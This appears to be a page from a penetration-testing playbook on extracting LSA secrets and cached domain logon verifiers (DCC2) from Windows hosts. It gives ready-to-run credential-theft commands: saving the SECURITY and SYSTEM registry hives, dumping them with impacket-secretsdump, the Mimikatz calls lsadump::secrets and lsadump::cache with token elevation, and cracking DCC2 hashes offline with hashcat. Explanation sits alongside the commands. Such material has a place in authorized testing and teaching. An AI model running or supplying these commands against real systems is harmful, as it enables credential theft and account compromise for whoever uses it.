Extract LSA secrets and cached-domain verifiers
Needs: Appropriate host/read privilege and complete matching key/source files
Windows commands
REM Baseline
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.hive /y
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.hive /y
Shell commands
# Baseline
impacket-secretsdump -security SECURITY.hive -system SYSTEM.hive LOCAL
Mimikatz alternative
# Mimikatz alternative
privilege::debug
token::elevate
lsadump::secrets
lsadump::cache
DCC2 is for offline guessing, not Pass-the-Hash
# DCC2 is for offline guessing, not Pass-the-Hash
hashcat -m 2100 dcc2.hashes wordlist.txt -r /usr/share/hashcat/rules/best64.rule
Verify the exact format with the installed Hashcat examples before cracking.
Verify → Retain source, account, type and required factors; do not label every parsed output a Pass-the-Hash credential.
If it fails → Absent cached entries or protected secrets are source-specific limitations; use another justified credential source. More detail ↓
Explanation & examples
Extract LSA secrets and cached-domain verifiers
- USE WHEN
- Matched SECURITY/SYSTEM material is accessible
- STARTING ACCESS
- A domain identity, appropriate host privilege, or a validated effective directory-object right
- RESULT
- Typed LSA secrets, machine/service credentials or cached logon verifiers
Recognize the clue
Inspect the rights and origin of a protected registry backup and distinguish SECURITY data from SAM before collection/parsing.
hostname
whoami /priv
Available snapshot: SECURITY.save
Matching SYSTEM.save: verify
Expected outputs: LSA secrets and cached logon recordsMeans: A SECURITY source targets secrets/cached verifiers with distinct semantics; it is not simply another SAM.
Confirm: Confirm matched key material and classify every returned service/machine secret or DCC2 record.
- After validation
- A complete matched source yields usable typed material: choose its type-specific next method.
- Ruled out in this context
- The SYSTEM file comes from another snapshot/machine: reject that consistency assumption.
- Still inconclusive
- An empty parser result with incomplete source/context leaves credential absence unproved.
Troubleshooting: Absent cached entries or protected secrets are source-specific limitations; use another justified credential source.
Additional prerequisite checks
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.save
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.save
Mimikatz alternative:
Potential categories:
$MACHINE.ACC: member computer's domain-account secret/key material;- service/autologon secrets: usefulness depends on whether the service/account remains active;
NL$1-style cached logon data: DCC2/MSCache v2 verifier material.
DCC2 is for offline guessing, not Pass-the-Hash:
Verify the exact format with the installed Hashcat examples before cracking.
Why it works
Different SECURITY records encode different capabilities. DCC2 is an offline verifier; a machine-account secret and a service password have different identities and compatible uses.
Worked example · hypothetical
Observation: offline parsing yields both a cached logon verifier and a service secret. Test: classify each output independently. Illustrative output: DCC2 needs recovery while the service password can be validated directly. Interpretation: choose separate next methods.
New identity, privilege, host or route? Re-enumerate → All topic tasks →